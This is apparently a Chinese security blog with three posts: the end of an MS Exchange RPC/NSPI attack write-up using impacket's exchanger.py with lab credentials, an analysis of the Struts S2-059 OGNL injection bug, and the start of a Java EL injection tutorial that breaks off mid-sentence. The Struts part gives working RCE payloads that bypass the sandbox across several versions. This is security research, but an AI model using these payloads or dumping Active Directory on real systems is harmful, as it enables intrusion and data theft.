[+] Impacket Library Installation Path: /Users/xc/Downloads/ms exchange attack/impacket/examples/impacket
[+] StringBinding has been changed to ncacn_http:WIN-QT7IQOG92O7[6001,RpcProxy=WIN-QT7IQOG92O7.j0k3r.top:443]
Protocol: [MS-DCOM]: Distributed Component Object Model (DCOM) Remote
Provider: N/A
UUID: 00000131-0000-0000-C000-000000000046 v0.0
Opnums 0-64: rpc_s_access_denied

Protocol: [MS-DCOM]: Distributed Component Object Model (DCOM)
Provider: N/A
UUID: 00000134-0000-0000-C000-000000000046 v0.0
Opnums 0-64: rpc_s_access_denied

Protocol: [MS-DCOM]: Distributed Component Object Model (DCOM) Remote
Provider: N/A
UUID: 00000143-0000-0000-C000-000000000046 v0.0
Opnums 0-64: rpc_s_access_denied

Protocol: [MS-OXABREF]: Address Book Name Service Provider Interface (NSPI) Referral Protocol
Provider: N/A
UUID: 1544F5E0-613C-11D1-93DF-00C04FD7BD09 v1.0
Opnum 0: rpc_x_bad_stub_data
Opnum 1: rpc_x_bad_stub_data
Opnums 2-64: nca_s_op_rng_error (opnum not found)

Protocol: [MS-DCOM]: Distributed Component Object Model (DCOM)
Provider: ole32.dll
UUID: 18F70770-8E64-11CF-9AF1-0020AF6E72F4 v0.0
Opnums 0-64: rpc_s_access_denied

Protocol: [MS-OXCRPC]: Wire Format Protocol
Provider: N/A
UUID: 5261574A-4572-206E-B268-6B199213B4E4 v0.1
Opnum 0: rpc_x_bad_stub_data
Opnums 1-64: nca_s_op_rng_error (opnum not found)

Procotol: N/A
Provider: N/A
UUID: 5DF3C257-334B-4E96-9EFB-A0619255BE09 v1.0
Opnum 0: rpc_s_access_denied
Opnum 1: rpc_s_access_denied
Opnum 2: rpc_s_access_denied
Opnum 3: rpc_s_access_denied
Opnum 4: rpc_s_access_denied
Opnum 5: rpc_s_access_denied
Opnum 6: rpc_s_access_denied
Opnum 7: [Errno 54] Connection reset by peer
Opnums 8-64: rpc_s_access_denied

Protocol: [MS-OXCRPC]: Wire Format Protocol
Provider: N/A
UUID: A4F1DB00-CA47-1067-B31F-00DD010662DA v0.81
Opnum 0: rpc_x_bad_stub_data
Opnum 1: rpc_x_bad_stub_data
Opnum 2: rpc_x_bad_stub_data
Opnum 3: rpc_x_bad_stub_data
Opnum 4: rpc_x_bad_stub_data
Opnum 5: rpc_x_bad_stub_data
Opnum 6: success
Opnum 7: rpc_x_bad_stub_data
Opnum 8: rpc_x_bad_stub_data
Opnum 9: rpc_x_bad_stub_data
Opnum 10: rpc_x_bad_stub_data
Opnum 11: rpc_x_bad_stub_data
Opnum 12: rpc_x_bad_stub_data
Opnum 13: rpc_x_bad_stub_data
Opnum 14: rpc_x_bad_stub_data
Opnums 15-64: nca_s_op_rng_error (opnum not found)

Protocol: [MS-RPCE]: Remote Management Interface
Provider: rpcrt4.dll
UUID: AFA8BD80-7D8A-11C9-BEF4-08002B102989 v1.0
Opnum 0: success
Opnum 1: rpc_x_bad_stub_data
Opnum 2: success
Opnum 3: success
Opnum 4: rpc_x_bad_stub_data
Opnums 5-64: nca_s_op_rng_error (opnum not found)

Procotol: N/A
Provider: N/A
UUID: BA3FA067-8D56-4B56-BA1F-9CBAE8DB3478 v1.0
Opnums 0-64: rpc_s_access_denied

Protocol: [MS-NSPI]: Name Service Provider Interface (NSPI) Protocol
Provider: ntdsai.dll
UUID: F5CC5A18-4264-101A-8C59-08002B2F8426 v56.0
Opnum 0: rpc_x_bad_stub_data
Opnum 1: rpc_x_bad_stub_data
Opnum 2: rpc_x_bad_stub_data
Opnum 3: rpc_x_bad_stub_data
Opnum 4: rpc_x_bad_stub_data
Opnum 5: rpc_x_bad_stub_data
Opnum 6: rpc_x_bad_stub_data
Opnum 7: rpc_x_bad_stub_data
Opnum 8: rpc_x_bad_stub_data
Opnum 9: rpc_x_bad_stub_data
Opnum 10: rpc_x_bad_stub_data
Opnum 11: rpc_x_bad_stub_data
Opnum 12: rpc_x_bad_stub_data
Opnum 13: rpc_x_bad_stub_data
Opnum 14: rpc_x_bad_stub_data
Opnum 15: rpc_x_bad_stub_data
Opnum 16: rpc_x_bad_stub_data
Opnum 17: rpc_x_bad_stub_data
Opnum 18: rpc_x_bad_stub_data
Opnum 19: rpc_x_bad_stub_data
Opnum 20: rpc_x_bad_stub_data
Opnums 21-64: nca_s_op_rng_error (opnum not found)

该工具的原理其实就是利用 RPC 的 rpc_mgmt_inq_if_ids （有关文档：RpcMgmtInqIfIds function，rpc_mgmt_inq_if_ids）方法返回服务器提供的接口的接口标识符的向量，这个向量列出了服务器在 RPC 运行时系统中注册的接口，然后针对接口遍历 64 个 Opnum 对应的操作进行调用，根据返回的数据判断操作结果，最终获取能够使用的接口和方法

根据以上输出，所有 Opnum 执行结果都是 access_denied 的协议则不可用，而 rpcmap.py 使用的是 MS-RPCE 协议，剩余通过 Exchange 的 RPC over HTTP v2 可用的协议如下：

协议	UUID	描述
MS‑OXCRPC	A4F1DB00-CA47-1067-B31F-00DD010662DA v0.81	有线格式协议EMSMDB接口
MS‑OXCRPC	5261574A-4572-206E-B268-6B199213B4E4 v0.1	有线格式协议AsyncEMSMDB接口
MS‑OXABREF	1544F5E0-613C-11D1-93DF-00C04FD7BD09 v1.0	通讯簿名称服务提供商接口（NSPI）推荐协议
MS‑OXNSPI	F5CC5A18-4264-101A-8C59-08002B2F8426 v56.0	Exchange服务器名称服务提供程序接口（NSPI）协议

MS‑OXNSPI 与 MS-NSPI 相似，且 UUID 一致

MS-OXCRPC是 Ruler 用来向 Exchange 发送 MAPI 消息的协议，而 MS-OXABREF 和 MS-OXNSPI 是两个新的可用协议。

分析 MS-OXABREF 与 MS-OXNSPI

MS-OXNSPI：Exchange Server Name Service Provider Interface (NSPI) Protocol，Exchange 服务器名称服务提供程序接口（NSPI）协议

MS-OXABREF：Address Book Name Service Provider Interface (NSPI) Referral Protocol，通讯簿名称服务提供程序接口（NSPI）Referral 协议

看下官方文档中的 NSPI 的 NspiDNToMId (Opnum 7) 方法描述

将一组 DNs 映射到一组 Minimal Entry ID（用于唯一标识地址簿对象），这里的 DNs 是指 Legacy DNs，在前面的 Autodiscover 中有

使用其 Legacy DN 请求用户的信息，通过 MS-OXNSPI 连接到 Exchange 并执行 NspiDNToMId 操作

通过获取的临时标识符请求所有对象的属性

MIDs 和 Legacy DNs 的格式

上文提到了 DNs，还有一个 Minimal Entry ID，用来标识地址簿的，文档中没有公开算法，下面使用 MS-OXNSPI 的 NspiGetSpecialTable（Opnum 12）来获取地址簿，方法详情可参阅文档 https://interoperability.blob.core.windows.net/files/MS-OXNSPI/%5bMS-OXNSPI%5d.pdf 第 40 页

其中 PidTagAddressBookContainerId 的值为地址簿的 Minimal Entry ID（根据文档 PidTagAddressBookContainerId），而且是从 -16 往下递减的

转为无符号整数来看就是从 0xfffffff0 开始递减

>>> hex(-16 & 0xffffffff)
'0xfffffff0'
>>> hex(-17 & 0xffffffff)
'0xffffffef'
>>> hex(-18 & 0xffffffff)
'0xffffffee'

上图中形如 /guid=D7D867F86D0E2746AD85547FB24BC918 的 PidTagEntryId 表示一个新的 Legacy DN 格式，2.2.3.2 PidTagEntryId，用这个新格式可以请求 Active Directory 对象

目前可以通过 GUID 或者 MID 来获取 Active Directory 对象信息，那如何获取所有 Active Directory 对象的 GUID 或者 MID 呢？

MIDs（Minimal Entry ID）的其它格式

Exchange 使用 LDAP 和 MS-NSPI 协议连接到 DC 以访问 Active Directory 数据库，且 MS-NSPI 又是一种和 MS-OXNSPI 相似的 MSRPC 协议，方法基本相同，所以 MS-NSPI 是除了 LDAP 和 MS-DRSR（或 DcSync 和 DRSUAPI）之外第三个能访问 Active Directory 数据库的协议

通过 MS-NSPI 连接到域控制器

获取地址簿列表

在上文中也提到了，PidTagAddressBookContainerId 表示的就是 MId（Minimal Entry ID），不同的是，域控制器上的一个 MId 表示一个 DNT 对象，Distinguished Name Tags (DNTs) 是域控制器 NTDS.dit 数据库内部对象的 4 字节整形索引

但是通过使用 NspiUpdateStat 方法可以将指定的地址簿 ContainerID（Exchange MID）转换为域控的 MID，即返回信息中的的 CurrentRec 字段值，详情可参阅文档 https://interoperability.blob.core.windows.net/files/MS-OXNSPI/%5bMS-OXNSPI%5d.pdf 第 42 页

如下所示，不过这里的 MID 好像不太正常

使用 exchanger.py

工具位于 impacket/examples 目录下，主要通过 MS-NSPI 实现实现攻击，

列出地址簿获取所有地址列表

1	python3 impacket/examples/exchanger.py J0K3R/tester:'Qwer1234'@j0k3r.top nspi list-tables -count

该功能其实就是利用 NSPI 的 NspiGetSpecialTable 方法，-debug 选项中能看到 MID

获取指定地址簿的数据

1	python3 impacket/examples/exchanger.py J0K3R/tester:'Qwer1234'@j0k3r.top nspi dump-tables -name 所有用户 -lookup-type EXTENDED

该部分则是在 NspiGetSpecialTable 获取地址簿层次表的基础上查询指定地址簿的数据，通过 update_stat 函数，再利用 NSPI 的 NspiUpdateStat 方法根据 MID 更新在指定表中的位置

然后利用 NspiQueryRows 方法返回关于表中一组行的信息

最终将信息格式化输出

已知 GUID 攻击

通过 GUID/GUIDs 获取 Active Directory对象，比如获取 tester2 用户的所有信息

1	python3 impacket/examples/exchanger.py J0K3R/tester:'Qwer1234'@j0k3r.top nspi guid-known -guid 4d4a3ddd-86a0-471c-b31e-c655342f1999 -lookup-type FULL

该部分主要是通过 NspiResolveNamesW 方法通过模糊名称解析 (ANR) 这种搜索算法来查询对象

我们输入的 guid 将会被转为 /guid 的 legacyDN 形式，比如所有用户地址簿的Guid：82621831-97cf-4085-ac72-acdaf3e47488 转换后为 PidTagEntryId: /guid=31186282CF978540AC72ACDAF3E47488，在 NspiGetSpecialTable 中可以直接获取

最后 print_row 输出对象信息

专有名称标签查找（Distinguished Name Tags，DNTs）

可以通过 DNT 查找指定范围内的所有 Active Directory 中的记录

我们可以在域控主机上通过 LDP 查看一下 DNT，运行输入 LDP.exe 打开程序，点击左上角连接，选择连接到本地，再进行绑定，可以使用当前管理账户

确定绑定之后，进入浏览 —> 修改，添加属性 dumpdatabase，值如果没有特殊要求的话可以写随便写个 name，没有值会抛出参数错误

填好值，点击输入，然后运行，在 C:\Windows\NTDS 目录下会生成一个 ntds.dmp，可以使用 notepad 打开，其默认就包含了 DNT 等字段信息

还能够看到 Administrator 等用户

使用 exchanger.py 查看有关信息

1	python3 impacket/examples/exchanger.py J0K3R/tester:'Qwer1234'@j0k3r.top nspi dnt-lookup -lookup-type EXTENDED -start-dnt 3802 -stop-dnt 3805

因为在域控制器中 DNT 代表 MId，这里输入指定的 DNT 范围，传入 NspiQueryRows 的参数为 lpETable，lpETable 表示一个 MId 列表，见 3.1.4.8 NspiQueryRows (Opnum 3)

最后打印输出对象信息

Reference：

https://swarm.ptsecurity.com/attacking-ms-exchange-web-interfaces/

https://xpertstec.com/step-by-step-installation-of-exchange-server-2019/

https://www.miensi.com/733.html

https://paper.seebug.org/775/

S2-059 漏洞与不同 Struct2 版本的 Payload 分析

2020-08-13T16:00:00.000Z

2020.08.13 由官方发出安全通告

漏洞描述：

Apache Struts 2 会对某些标签属性（比如 id）的属性值进行二次表达式解析，因此在某些场景下将可能导致远程代码执行。

此问题仅适用于当在 Struts 标签属性内强制进行 OGNL 表达式解析时的情况

https://cwiki.apache.org/confluence/display/WW/S2-007

1 2	var="url" namespace="/employee" action="list"/> id="%{skillName}" href="%{url}">List available Employees

如果攻击者能够在请求中控制 skillName 属性值且应用未对其进行检查校验，则攻击者可以直接传入一个 OGNL 表达式，那么最终当标签渲染的时候，skillName 的表达式就会因为二次解析而被执行。

影响：
Struts 2.0.0 - Struts 2.5.20


解决：
升级到 Struts 2.5.22

漏洞分析：

该漏洞在昨天也就是 2020.08.13，由官方发出安全通告，声明对其存在的一个远程代码执行漏洞进行修复

CVE 编号为 CVE-2019-0230

看到这个漏洞的时候，因为最近刚好在调试分析 struct2 的一些历史漏洞，所以想到了最开始的 s2-001，在 s2-001 中漏洞产生的原因就是递归解析表达式，s2-059 也是二次解析，那么有什么不同呢，下面简单分析下

Struct 2.3.10 分析

paylaod：

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

根据漏洞描述简单新建个环境

定义一个 action

package top.j0k3r.s2059.action;

import com.opensymphony.xwork2.ActionSupport;

public class IndexAction extends ActionSupport {
    private String name = null;

    public IndexAction() {
    }

    public void setName(String message) {
        this.name = message;
    }

    public String getName() {
        return this.name;
    }
}

structs.xml 配置 action

1
2
3

<action name="s2059" class="top.j0k3r.s2059.action.IndexAction">
    <result name="success">/pages/s2059/index.jspresult>
action>

index.jsp

<%@ page language="java" contentType="text/html; charset=UTF-8"
         pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
"-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">


    "Content-Type" content="text/html; charset=UTF-8">
    S2-059


S2-059 Demo
link: "https://cwiki.apache.org/confluence/display/WW/S2-059">https://cwiki.apache.org/confluence/display/WW/S2-059
demo

web.xml

<filter>
  <filter-name>struts2filter-name>
  <filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilterfilter-class>
filter>
<filter-mapping>
  <filter-name>struts2filter-name>
  <url-pattern>/*url-pattern>
filter-mapping>
<welcome-file-list>
  <welcome-file>/pages/s2059/index.jspwelcome-file>
welcome-file-list>

这里 struts2-core 版本使用的是 2.3.1，后面 2.5.x 版本禁止访问 context.map，而且黑名单成了不可变集合，不同的 struct 版本，payload 也是不同的

先传入一个 %{11-1} 测试下

1	/s2059.action?name=%25%7B11-1%7D

可以看到成功解析了

1	%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"})).start()}

下断点 debug，看下流程走向

当解析 JSP 的时候来到 struts2-core-2.3.1.jar!/org/apache/struts2/views/jsp/ComponentTagSupport.class 的 doStartTag 方法

继续跟进直到 struts2-core-2.3.1.jar!/org/apache/struts2/components/UIBean.class 的 evaluateParams 方法，后面调用了 populateComponentHtmlId 方法，跟进

还是位于 UIBean 中，可以看出，这个 id 就是我们输入的 paylaod，也就是设置的 id 的值，再继续跟进 findStringIfAltSyntax

判断之后会通过 struts2-core-2.3.1.jar!/org/apache/struts2/components/Component.class 的 findString 方法进行处理

Component 调用 findValue 方法，这是能看到熟悉的 translateVariables 方法，在 s2-001中就是该方法递归解析 %{} 导致执行用户输入的恶意 ognl 表达式

看下 translateVariables 方法

添加了 loopCount 判断解析层数，防止二次解析，获取我们输入的 ognl 表达式内容后，再看后面 findValue 处理

在往后交给会由 OgnlUtil.getValue 处理表达式，导致代码执行

上面流程是由 doStartTag 开始分析的，而 doStartTag 执行完后，会来到 doEndTag 方法

来到 evaluateParams 方法，位于 struts2-core-2.3.1.jar!/org/apache/struts2/components/UIBean.class

能看出，下面还会在调用一次 populateComponentHtmlId 方法

所以会执行两次

Struct 2.3.20 分析

直接来到 xwork-core-2.3.20.jar!/com/opensymphony/xwork2/util/OgnlTextParser.class 的 evaluate 方法，取出表达式内容交给 evaluator.evaluate

往下跟进 evaluate 方法

一路跟进来到 xwork-core-2.3.20.jar!/com/opensymphony/xwork2/ognl/OgnlValueStack.class 的 getValue 方法

但是往下 getValue 完了也没有执行命令，在回来深入 getValue 一路跟到 xwork-core-2.3.20.jar!/com/opensymphony/xwork2/ognl/OgnlUtil.class 的 compileAndExecute

再一路跟进来到 ognl-3.0.6.jar!/ognl/Ognl.class 的 getValue 方法，执行表达式

后面由于 access denied 无法执行此 paylaod

尝试调用静态方法执行命令

在 xwork-core-2.3.20.jar!/com/opensymphony/xwork2/ognl/SecurityMemberAccess.class 的 isClassExcluded 方法中能看出 this.excludedClasses 就是一个 class 黑名单，如果我们的 class 与其中的 class 相同或是其子类或接口就会返回 true，导致上面的 isAccessible 方法最终返回 false

回到 ognl-3.0.6.jar!/ognl/OgnlRuntime.class 的 callAppropriateMethod 方法，结果最终抛出一个 NoSuchMethodException，于是 callStaticMethod 失败，无法执行命令

那么怎么才能绕过呢，先看下 struct2 黑名单的产生过程

struct2 在一开始 createValueStack 创建 ognl ValueStack，接着通过 container.inject(stack) 将依赖项注入现有的字段和方法

通过这个注入操作，会使用 xwork-core-2.3.20.jar!/com/opensymphony/xwork2/ognl/OgnlValueStack.class 的 setOgnlUtil 方法添加黑名单

内容如下

那我们在哪修改呢，早在开始创建 OgnlValueStack 的时候，调用 Ognl.createDefaultContext，传入了 securityMemberAccess

随后又调用 ognl-3.0.6.jar!/ognl/Ognl.class 的 addDefaultContext 方法，新建一个 OgnlContext，通过 setMemberAccess 方法设置 Context 中的 MemberAccess

看下 ognl-3.0.6.jar!/ognl/OgnlContext.class 的 setMemberAccess，即赋值给了 _memberAccess

而 SecurityMemberAccess 又继承了 DefaultMemberAccess ，也就是说各黑名单和设置项存于上下文中的 _memberAccess，知道这一点就知道 paylaod 该怎怎么绕过了，首先通过设置 _memberAccess['allowPrivateAccess'] 授权访问 private 方法，再修改 excludedClasses、allowStaticMethodAccess，然后执行命令

2.3.20 Payload:

%{(#_memberAccess['allowPrivateAccess']=true,#_memberAccess['excludedClasses']=#_memberAccess['acceptProperties'],#_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()))}

Struct 2.5.10 分析

前期流程差不不是很大，还是来到 populateComponentHtmlId 方法，进入 findStringIfAltSyntax，如果开启了 altSyntax，下面开始 findValue 处理

调用栈如下：

compileAndExecute:371, OgnlUtil (com.opensymphony.xwork2.ognl)
getValue:357, OgnlUtil (com.opensymphony.xwork2.ognl)
getValue:360, OgnlValueStack (com.opensymphony.xwork2.ognl)
tryFindValue:348, OgnlValueStack (com.opensymphony.xwork2.ognl)
tryFindValueWhenExpressionIsNotNull:323, OgnlValueStack (com.opensymphony.xwork2.ognl)
findValue:307, OgnlValueStack (com.opensymphony.xwork2.ognl)
findValue:368, OgnlValueStack (com.opensymphony.xwork2.ognl)
evaluate:156, TextParseUtil$1 (com.opensymphony.xwork2.util)
evaluate:49, OgnlTextParser (com.opensymphony.xwork2.util)
translateVariables:166, TextParseUtil (com.opensymphony.xwork2.util)
translateVariables:109, TextParseUtil (com.opensymphony.xwork2.util)
translateVariables:82, TextParseUtil (com.opensymphony.xwork2.util)
findValue:377, Component (org.apache.struts2.components)
findString:223, Component (org.apache.struts2.components)
findStringIfAltSyntax:320, Component (org.apache.struts2.components)
populateComponentHtmlId:998, UIBean (org.apache.struts2.components)

一直到 compileAndExecute 都没有问题，但是接下来调用 checkEnableEvalExpression ->isEvalExpression 之后 return 语句当中的 node.isSequence 发现不同的 paylaod IDEA 跟进的函数不同（前面的调用栈相同）

isEvalExpression 函数

当使用下面 paylaod 时，无法执行命令

%25%7B(%23_memberAccess%5B'allowPrivateAccess'%5D%3Dtrue%2C%23_memberAccess%5B'excludedClasses'%5D%3D%23_memberAccess%5B'acceptProperties'%5D%2C%23_memberAccess%5B'allowStaticMethodAccess'%5D%3Dtrue%2C%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('%2FApplications%2FCalculator.app%2FContents%2FMacOS%2FCalculator').getInputStream()))%7D

跟进的 isSequence 函数为 ognl-3.1.12.jar!/ognl/ASTSequence.class 中的 isSequence

public boolean isSequence(OgnlContext context) {    return true;}

而当使用下面 paylaod 时，该 paylaod 能绕过限制，执行命令

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd={'/bin/bash','-c','id'}).(#p=new java.lang.ProcessBuilder(#cmd)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

跟进的 isSequence 函数为 ognl-3.1.12.jar!/ognl/SimpleNode.class 中的 isSequence

public boolean isSequence(OgnlContext context) throws OgnlException {
    if (this._children == null) {
        return false;
    } else {
        Node[] arr$ = this._children;
        int len$ = arr$.length;

        for(int i$ = 0; i$ < len$; ++i$) {
            Node child = arr$[i$];
            if (child instanceof SimpleNode && ((SimpleNode)child).isSequence(context)) {
                return true;
            }
        }

        return false;
    }
}

那是为什么呢，其实仔细观察之后能发现两者的不同

一个是 ASTSequnce，一个则是 ASTChain，再看 checkEnableEvalExpression 函数

private void checkEnableEvalExpression(Object tree, Map context) throws OgnlException {
    if (!this.enableEvalExpression && this.isEvalExpression(tree, context)) {
        throw new OgnlException("Eval expressions/chained expressions have been disabled!");
    }
}

Eval expressions/chained expressions have been disabled!，也就是说这里 ognl 会检查表达式是否可执行，而且 Eval expressions/chained expressions 两种形式的表达式被禁止

ASTSequence
- 表现形式： #xxx=a, #yyy=b
ASTEval
- 表现形式： (#xxx)(#yyy)
ASTChain
- 表现形式： #xxx.#yyy

所以要避免使用 ASTSequence 或 ASTEval 形式的 paylaod

Payload:

linux:
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd={'/bin/bash','-c','id'}).(#p=new java.lang.ProcessBuilder(#cmd)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}


win+linux:
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

Struct 2.5.16

因为禁止了对 context.map 的访问，所以通过attr 绕过，获取一个context.map，然后通过 setExcludedPackageNames 和 setExcludedClasses 将名单置空，再覆盖 _memberAccess

Payload:

%25%7B(%23context%3D%23attr%5B'struts.valueStack'%5D.context).(%23container%3D%23context%5B'com.opensymphony.xwork2.ActionContext.container'%5D).(%23ognlUtil%3D%23container.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ognlUtil.setExcludedClasses('')).(%23ognlUtil.setExcludedPackageNames(''))%7D


%25%7B(%23context%3D%23attr%5B'struts.valueStack'%5D.context).(%23context.setMemberAccess(%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS)).(%40java.lang.Runtime%40getRuntime().exec('/Applications/Calculator.app/Contents/MacOS/Calculator'))%7D

有回显版：
%25%7B(%23context%3D%23attr%5B'struts.valueStack'%5D.context).(%23context.setMemberAccess(%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS)).(%23cmd%3D%7B'%2Fbin%2Fbash'%2C'-c'%2C'id'%7D).(%23p%3Dnew%20java.lang.ProcessBuilder(%23cmd)).(%23p.redirectErrorStream(true)).(%23process%3D%23p.start()).(%23ros%3D(%40org.apache.struts2.ServletActionContext%40getResponse().getOutputStream())).(%40org.apache.commons.io.IOUtils%40copy(%23process.getInputStream()%2C%23ros)).(%23ros.flush())%7D

Reference

https://javasec.org/javase/

https://seaii-blog.com/index.php/2019/12/29/90.html

https://lucifaer.com/2019/01/16/%E6%B5%85%E6%9E%90OGNL%E7%9A%84%E6%94%BB%E9%98%B2%E5%8F%B2/

Java EL （Expression Language）表达式注入

2020-08-12T16:00:00.000Z

学习 Java EL 表达式注入

0x01 EL 介绍

表达式语言（Expression Language），或称EL表达式，简称EL，是Java中的一种特殊的通用编程语言，借鉴于JavaScript和XPath。主要作用是在Java Web应用程序嵌入到网页（如JSP）中，用以访问页面的上下文以及不同作用域中的对象 )，取得对象属性的值，或执行简单的运算或判断操作。EL在得到某个数据时，会自动进行数据类型的转换。 ——wikipedia

Java EL 被用在 JavaServer Faces technology （JSF）and JavaServer Pages (JSP) 中，主要功能就是

访问 JavaBean 属性，数组或各类集合
检索 java 对象，获取数据
逻辑和算术运算
调用 java 类方法

注意区分 JSP 页面中的脚本表达式 <%= 这里是表达式 %>，EL 正是用来替换脚本表达式的

JSP 中的语法：

脚本程序
1
<% 这里是JAVA代码 %>

JP 声明

声明变量和方法

<%! declaration; [ declaration; ]+ ... %>

<%! int i = 0; %> 
<%! int a, b, c; %> 
<%! Circle a = new Circle(2.0); %>

JSP 表达式

是对数据的表示，系统将其作为一个值进行计算，表达式的值会转为 string，调用的方法必须要有返回值，不能用 ; 分号


   今天的日期是: <%= (new java.util.Date()).toLocaleString()%>

<% if (user != null ) {  %>  
       Hello <%=user%>  
<% } else {  %>  
       You haven't login!  
<% } %>

JSP 注释
1
<%-- 注释内容 --%>
JSP 指令
设置与整个JSP页面相关的属性，开头就能看到
| <%@ page … %> | 定义页面的依赖属性，比如脚本语言、error页面、缓存需求等等 |
| —————— | ——————————————————— |
| <%@ include … %> | 包含其他文件 |
| <%@ taglib … %> | 引入标签库的定义，可以是自定义标签 |
1
2
3
4
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>

还有 JSP 行为与隐含对象等内容就不介绍了，可以看 JSP 语法 | 菜鸟教程

0x02 EL 使用

立即求值（Immediate Evaluation）

表达式将使用 ${} 语法，一般模板只能用这个

延迟求值（Deferred Evaluation）

表达式使用 #{}语法，模板用这个会报错，详情可以看 https://docs.oracle.com/javaee/7/tutorial/jsf-el.htm#GJDDD

IDEA 新建一个 Maven 项目进行测试，file Project Structure 里 Facets 添加一个 Web

web.xml 添加

1
2
3

<welcome-file-list>
    <welcome-file>index.jspwelcome-file>
welcome-file-list>

Web 目录下新建 index.jsp

使用值表达式引用对象

能够引用以下对象的属性

Lambda parameters
EL variables
Managed beans
Implicit objects
Classes of static fields and methods

引用对象属性或集合元素

使用 . 或 [] 表示法

比如要获取 customer 的属性 name，则可以使用

1	${customer.name}

或者

1	${customer["name"]}

通常 [] 比 . 要普遍，因为 [] 中不只是字符串，可以是字符串表达式，可以进行动态取值，而且 . 可能受一些特殊字符的影响

以下三种写法效果相同

<html>
<head>
    <title>Hellotitle>
head>
<body>
hello ${param[["a","b","name"][2]]}
<br>
hello ${param["name"]}
<br>
hello ${param.name}
<br>
body>
html>

EL 运算符

算术：+，-（二元）， *，/和div，%和mod，-（一元）。
字符串连接：+=。
逻辑：and，&&，or，||，not，!。
关系：==，eq，!=，ne，<，lt，>，gt，<=，ge，>=，le。可以与其他值或布尔值，字符串，整数或浮点文字进行比较。
空：empty运算符是前缀运算，可用于确定值是null还是空。
条件：A ? B : C。评估B或C根据的评估结果A。
lambda表达式：->，箭头标记。
赋值：=。
分号：;。

运算符优先级如下（从高到低，从左到右）：

[] .
() (用于更改运算符的优先)
- (一元) not ! empty
* / div % mod
+ - (二元)
+=
<> <= >= lt gt le ge
== != eq ne
&& and
|| or
? :
->
=
;

除了上运算中的字符外还有一些其它的保留字符：

true
false
null
instanceof
empty
div
mod

0x03 EL 注入

JSP 有 9 个隐式对象，如下

request	HttpServletRequest 接口的实例
response	HttpServletResponse 接口的实例
out	JspWriter类的实例，用于把结果输出至网页上
session	HttpSession类的实例
application	ServletContext类的实例，与应用上下文有关
config	ServletConfig类的实例
pageContext	PageContext类的实例，提供对JSP页面所有对象以及命名空间的访问
page	类似于Java类中的this关键字
Exception	Exception类的对象，代表发生错误的JSP页面中对应的异常对象

但其中只有一个 pageContext 是 EL 隐式对象，还有4个作用域隐式对象，通过映射访问作用域属性，还有参数访问隐式对象、首部访问隐式对象和初始化参数访问隐式对象，如下

类别	标识符	描述
JSP	pageContext	PageContext 实例对应于当前页面的处理
作用域	pageScope	与页面作用域属性的名称和值相关联的 Map 类
	requestScope	与请求作用域属性的名称和值相关联的 Map 类
	sessionScope	与会话作用域属性的名称和值相关联的 Map 类
	applicationScope	与应用程序作用域属性的名称和值相关联的 Map 类
请求参数	param	按名称存储请求参数的主要值的 Map 类
	paramValues	将请求参数的所有值作为 String 数组存储的 Map 类
请求头	header	按名称存储请求头主要值的 Map 类
	headerValues	将请求头的所有值作为 String 数组存储的 Map 类
Cookie	cookie	按名称存储请求附带的 cookie 的 Map 类
初始化参数	initParam	按名称存储 Web 应用程序上下文初始化参数的 Map 类

在 EL 注入中，产生的原因就是把用户输入作为 EL 表达式内容来执行，通常使用方法

